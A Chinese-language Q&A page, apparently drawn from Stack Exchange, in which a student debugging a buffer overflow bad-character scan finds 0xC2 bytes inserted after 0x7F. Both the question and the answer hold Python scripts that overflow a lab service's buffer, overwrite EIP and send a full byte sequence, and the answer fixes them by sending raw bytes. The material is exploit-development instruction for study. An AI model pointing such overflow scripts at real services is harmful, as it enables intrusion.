缓冲区溢出坏字符扫描时7F后每隔一位出现C2问题排查
问题
我正在学习缓冲区溢出相关技术,次日要参加该主题的考试。在开展缓冲区溢出攻击所需的坏字符扫描工作时,我发现十六进制转储(hexdump)中每隔一个字符就会出现十六进制值0xC2。我参照教程实操,正进行到使用Immunity Debugger扫描坏字符的步骤,进一步定位发现该异常从十六进制序列遍历到0x7F之后开始出现。
由于我使用Python3替代教程中的Python2环境,因此对参考脚本做了小幅修改,所用脚本如下:
import socket ip = "192.168.10.136" port = 31337 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) offset = 146 eip = "B" * 4 allchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" buffer = "A" * offset + eip + allchars buffer += "\n" s.sendall(buffer.encode('utf-8'))
我未在公开渠道检索到该问题的相关解决方案,由于自身对Python3和Immunity Debugger的使用经验不足,排查该问题存在较大难度,恳请提供相关帮助,若我遗漏了排查所需的关键信息,会及时补充答复。
问题根因
问题出在数据发送环节的编码逻辑:
- Python3的
str类型是Unicode字符串,不是Python2中的原生字节串,调用.encode('utf-8')编码时,UTF-8规则会将所有值大于0x7F的字符转换为2-3字节的多字节序列:- 取值在
0x80~0xBF区间的字符,会被编码为0xC2加原字节的双字节结构,比如\x80会被编码为b'\xc2\x80',\x81会被编码为b'\xc2\x81',这就是0x7F之后每隔一个字符就出现0xC2的直接原因 - 取值更高的字符会被编码为3字节序列,完全打乱构造的坏字符序列结构,导致扫描结果完全失效
- 取值在
0x00~0x7F属于ASCII字符范围,UTF-8编码后和原字节完全一致,因此这部分无异常,和观察到的故障起始位置完全吻合。
解决方案
不要使用UTF-8编码构造的漏洞利用载荷,直接发送原生字节串即可,有两种修改方式:
- 直接将所有载荷相关的字符串定义为字节串类型,去掉UTF-8编码步骤,修改后的参考代码如下:
import socket ip = "192.168.10.136" port = 31337 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) offset = 146 eip = b"B" * 4 allchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" buffer = b"A" * offset + eip + allchars buffer += b"\n" s.sendall(buffer)
- 如果不想修改前面的字符串定义,可以将编码方式从
utf-8替换为latin-1,该编码会将每个Unicode字符直接映射为单字节值(0x00~0xFF一一对应),不会产生多字节序列,即把最后一行改为s.sendall(buffer.encode('latin-1'))也可达到相同效果。
补充提示:编写二进制漏洞利用的Python3脚本时,所有载荷相关内容优先使用
bytes类型定义,避免字符串编码导致的字节异常,这是Python2迁移到Python3做漏洞利用时最常见的问题。
内容的提问来源于stack exchange,提问作者Johnny Two Shoes
相关产品推荐
相关产品推荐

